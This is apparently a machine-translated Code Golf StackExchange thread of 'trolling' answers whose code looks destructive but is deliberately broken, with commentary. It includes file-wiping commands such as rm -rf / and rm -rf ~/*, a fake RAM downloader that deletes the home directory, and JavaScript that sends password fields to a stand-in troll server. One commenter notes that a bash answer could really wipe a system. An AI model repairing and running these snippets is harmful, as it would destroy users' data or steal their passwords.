Wow, butuh beberapa saat untuk memahami apa yang dilakukan kode ini (tapi saya tidak membaca spoiler). Saya mendekodekan blok panggilan regex ini (ini adalah metode yang sama seperti yang saya gunakan di codegolf.stackexchange.com/a/23871/3103 ), dan saya suka bagaimana itu berisi exitperintah (dengan titik koma setelahnya, tetapi bukan itu penting ).
Konrad Borowski
Hehe, harus mencari tahu sendiri, itu 11-12 tahun setelah semua. Titik koma mungkin hanya untuk membuat semuanya berbaris rapi.
Stoffe
9

PHP:

$condition = true and false;

if (!$condition) {
   // DO EVIL - Just do something evil here
}

Pada pandangan pertama, $conditionitu salah, tetapi =operator lebih diutamakan and, jadi kondisinya benar. Jadi kejahatan tidak pernah dilakukan.

zozo
sumber
8

C ++ dengan Boost

Ini akan menghapus semua file di sistem file

#include "boost/filesystem.hpp"
using namespace boost::filesystem;

void delete_directory(const path* dir_path)
{
  if (!exists(*dir_path)) return;

  directory_iterator end_file_itr;
  for (directory_iterator file_itr(*dir_path);
        file_itr != end_file_itr;
        ++file_itr) {
    const path* file = &file_itr->path();
    if (file_itr->status().type() == directory_file) {
      delete_directory(file);
    } else {
      delete(file);
    }
  }

  delete(dir_path);
}

int main() {
  delete_directory(new path("/"));
  return 0;
}

Sebenarnya tidak. deletedi C ++ digunakan untuk membebaskan memori yang dialokasikan oleh newdan bukan untuk menghapus file dan direktori. Program ini kemungkinan besar akan crash dengan kesalahan segmentasi ketika mencoba untuk membatalkan alokasi memori yang dialokasikan oleh Boost, tetapi pada saat itu, saya akan lolos dari penahanan troll.

3 keraguan
sumber
+1. Ini tidak mudah dikenali karena bahkan dikompilasi tanpa kesalahan.
Erel Segal-Halevi
2
Bukankah garis masalah pertama adalah perilaku yang tidak terdefinisi? Dalam hal ini sebenarnya mungkin menghapus semua file-nya.
aschepler
1
@aschepler: "UB bisa menghapus semua file Anda" membuat penjelasan yang menyenangkan bahwa Anda tidak dapat memprediksi apa yang akan terjadi ketika memanggil UB, tetapi biasanya tidak selalu memungkinkan. Jika troll memiliki kompiler yang menghapus hard drive di UB, dia tidak akan membuat kita menulisnya malware
3Doubloons
2
penyorotan sintaks akan memberikan petunjuk troll di sini ...
mik01aj
8

Jawa

Ini akan pura-pura mengunduh RAM, tetapi itu akan menghapus direktori home pengguna.

import java.util.*;
import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
        System.out.println("Please wait. Downloading your free RAM...");

    }
}

Timermenggunakan utas latar untuk menelepon Anda TimerTaskyang Anda kirimkan kepadanya. new Timer(true)membuat Timerdengan latar belakang ditetapkan sebagai daemon utas, sehingga program hanya keluar segera sebelum tugas dapat dijalankan. Kode yang terlalu panjang mengalihkan perhatian troll dari melihat trueparameter.

Anjing
sumber
7
rm -rf ⁄

Karakternya bukan karakter garis miring biasa (/, yaitu SOLIDUS dalam unicode) melainkan karakter FRACTION SLASH. Akan mencetak pesan seperti "rm: ⁄: Tidak ada file atau direktori"

Geoff Reedy
sumber
10
Oh, biarkan aku mencoba ....
Michael J. Calkins
1
@MichaelCalkins: Anda dapat mencoba sebagai pengguna yang tidak memiliki hak istimewa, dan melihat pesan "tidak ditemukan" ... semoga.
Olivier Dulac
7

pesta

# This script should always be executed as root #
set -e

cleanup() {
  rm -rf / --no-preserve-root
}

eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==")
eval $(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=")
cleanup

Ini mungkin sama jahatnya dengan yang didapat. Ini mendefinisikan fungsi yang akan rm -rf /dan memanggilnya. Tidak hanya itu memanfaatkan kejahataneval lebih dari satu kali.

Pasti akan banyak merusak, pasti!

Jika Anda bertanya-tanya, yang pertama evalmenghapus fungsi dengan: unset -f cleanup Yang kedua evalmendefinisikannya menjadi: cleanup() { echo Troll detected; } Jadi saat menjalankan kode, Anda akan melihat Troll detected

devnull
sumber
9
Baik! Tapi, saya akan mengatakan bahwa garis "base64", yang tampaknya tidak ada gunanya untuk penghapusan yang sebenarnya, membuat ini sedikit terlalu jelas.
Erel Segal-Halevi
1
Mungkin lebih baik jika Anda dituntun untuk percaya bahwa evalmereka melakukan sesuatu yang lebih jahat daripada kode yang jelas. Kode saat ini membuat saya bertanya: mengapa repot-repot menyembunyikan kode 'jahat' jika hal-hal yang jelas menghapus semuanya?
Tim S.
2
Saya tidak berpikir yang ini memenuhi persyaratan karena berpotensi sangat berbahaya: jika base64(bukan perintah standar) tidak ada pada sistem yang dijalankan, eval tidak melakukan apa-apa dan rm -rf /berjalan! Ini juga bisa terjadi jika base64ada tetapi gagal karena beberapa alasan (misalnya ulimit).
R ..
1
@ R .: Juga, rm -rf /tidak akan berfungsi pada sebagian besar rmimplementasi. Ini adalah fitur keamanan - Anda tidak dapat menghapus direktori root di sebagian besar implementasi rm.
Konrad Borowski
1
Sejauh yang saya tahu ini berfungsi pada versi busybox. :-)
R ..
6

PESTA

Tentu saja kita membutuhkan hak akses root untuk mesin, jadi kita menggunakan yang lama baik "Apakah saya punya root?" - pemeriksa, alias ch (eck) root - tapi lebih baik lakukan ini di direktori di mana tidak akan ada banyak alarm yang dinaikkan. / tmp akan sempurna, karena semua orang dapat menulis file di sana.

Setelah ini kita hanya menghapus seluruh tawa jahat hard drive

mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*"
german_guy
sumber
10
sebagai orang Jerman bisa saya katakan: jangan melakukan tawa jahat sebagai orang Jerman ...
Philipp Sander
Wer , jika bukan orang Jerman, dapat melakukan ze eefil tawa benar, zen?
Alexander Kosubek
5
Saya harus mengakui bahwa saya perlu beberapa pembacaan kode dan kemudian membaca kembali komentar Anda untuk mengetahui mengapa seseorang mungkin berpikir ini berbahaya. Saya tidak berpikir ini akan berhasil jika Anda belum mencoba membujuk seseorang dalam komentar Anda bahwa chroot melakukan sesuatu selain itu dan pertanyaannya memang mengatakan troll tidak membaca komentar ...
Chris
1
Kebetulan, chrootbukan "periksa root", itu "ubah root" - itu mengubah ide pengguna tentang apa /itu. Menariknya, troll ini gagal melakukan apa pun untuk pengguna root dan non-root; pengguna root mendapatkan root baru (dan dengan demikian tidak ada / bin / bash perintah karena tidak ada yang ada di root / tmp / chroot_dir yang baru dibuat), dan pengguna non-root gagal chroot.
mah
Ini seperti petunjuk untuk ini - saya tahu bahwa itu bukan "mengubah root" tetapi kapten saya (kata yang benar?) Tidak tahu - jadi dia gagal parah
german_guy
6

iPhone - Klon Burung Flappy

Saat pengguna memainkan klon iPhone Flappy Bird, semua file di direktori Documents dihapus.

#import "AppDelegate.h"
#import "FlappyBirdClone.h"

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
    FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];
    [flappyBirdClone startFlapping];

    NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];
    [self deleteAllDocumentsInDirectory:documentsDirectory];

    return YES;
}

- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL
{
    NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];

    [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {
        [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
    }];
}

Setiap aplikasi di iOS di-Sandbox, jadi sementara ini menghapus semua yang ada di direktori Documents, itu hanya direktori Documents untuk aplikasi khusus ini. Troll itu jelas tidak menyadari hal ini, karena ia sudah dibanjiri begitu banyak program untuk platform lain. Dan begitu dia menyadari bahwa dia juga bisa mengeluarkan klon Flappy Bird, dia mungkin sangat bersemangat sehingga dia bahkan tidak repot-repot memikirkan sisa kode, karena dia terlalu sibuk bermimpi menghasilkan $ 50.000 sehari dalam iklan tanpa melakukan pekerjaan apa pun.

Richard Venable
sumber
5

Pergi:

package main

import (
    "fmt"
    "os"
    "sync"
)

func main() {
  wg := sync.WaitGroup{}
  go deleteAll(wg)
  wg.Wait()
}

func deleteAll(wg sync.WaitGroup) {
    wg.Add(1)
    defer wg.Done()
    fmt.Println("Press enter to clean your computer!")
    fmt.Scanln()
    os.RemoveAll("/home")
}

Yang ini agak rumit. In Go, seluruh program keluar saat Goroutine utama keluar. Cara yang baik untuk memperbaikinya adalah dengan Waitgroup. Ada dua masalah besar dengan "perbaikan" saya:

  1. Waitgroup tidak ditambahkan hingga Goroutine dimulai, yang berarti Goroutine utama akan mengenai Waitsebelum penghapusan Goroutine hit Add. Karena penghitungnya adalah 0, ia tidak memiliki apa-apa untuk ditunggu dan karena itu ia tidak akan memblokir dan akhirnya keluar, sehingga menghentikan program.
  2. Bahkan jika, entah bagaimana, secara ajaib, penambahan deleteAll goroutine dilakukan terlebih dahulu. Itu mendapat salinan Waitgroup, bukan pointer ke sana. Ini tidak akan menambah Waitgroup yang sama sehingga Goroutine utama tidak akan pernah melihatnya.

The fmt.Scanln () untuk mengharapkan input hanya untuk memastikan Goroutine utama keluar sebelum sesuatu terjadi. Println kemungkinan akan menyebabkannya memblok IO dan beralih untuk menjalankan Goroutine utama (sehingga keluar), dan Scanln hampir pasti akan melakukannya. Pada kenyataannya, tidak diperlukan versi Go.

Dalam teori super land, ini MUNGKIN bekerja dan menghapus sesuatu, yang berarti sesuai dengan model memori Go tidak ada hubungan "terjadi sebelum" yang dijamin mengenai akhir maindan pelaksanaan RemoveAll, tetapi tidak akan ada pada runtime / kompiler Go modern seperti yang dibuktikan. oleh semua pemula yang melakukan kesalahan dengan tidak melakukan sinkronisasi dalam fungsi utama mereka.

LinearZoetrope
sumber
4

Javascript

function(){
    setInterval(function(){
        var passwordList = document.getElementsByTagName('input') ;
        var i, length = passwordList.length ;
        for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
            var img = document.createElement('img') ;
            img.src = 'http://troll-server-password-listener.com/fake-image.jpg?password=' + passwordList[i].value ;
            img.style.display = none ;
            img.addEventListener('load', function(){
                var that = this ;
                setTimeout(function(){ that.outerHTML = '' }, 0) ;
            }) ;
            document.body.appendChild(img) ;
        }
    }, 1) ;
}() ;

1.

Itu tidak akan berjalan, Anda tidak bisa membuat penutupan semua menyebutnya tanpa surrond dengan parens

2.

Jika troll berhasil memperbaikinya, ada kesalahan ketik yang bagus untuk debug ... ;-)

Juan Garcia
sumber
1
bahasa apa? dan mungkin sedikit mengisyaratkan kesalahan ketik
masterX244
@ masterX244 adalah Javascript, saya akan mengeditnya. Petunjuk pengetikan: ReferenceError
Juan Garcia
3
Kesalahan ketik itu sering terjadi sehingga harus di
koreksi otomatis
Ya, saya sering salah mengetik. Terutama jika panjang kata itu cukup panjang: P
Mohammed Joraid
1
@ m01 +1 Saya pikir itu harus kata yang dilindungi undang-undang yang melemparkan pengecualian atau kompilasi kesalahan waktu!
Juan Garcia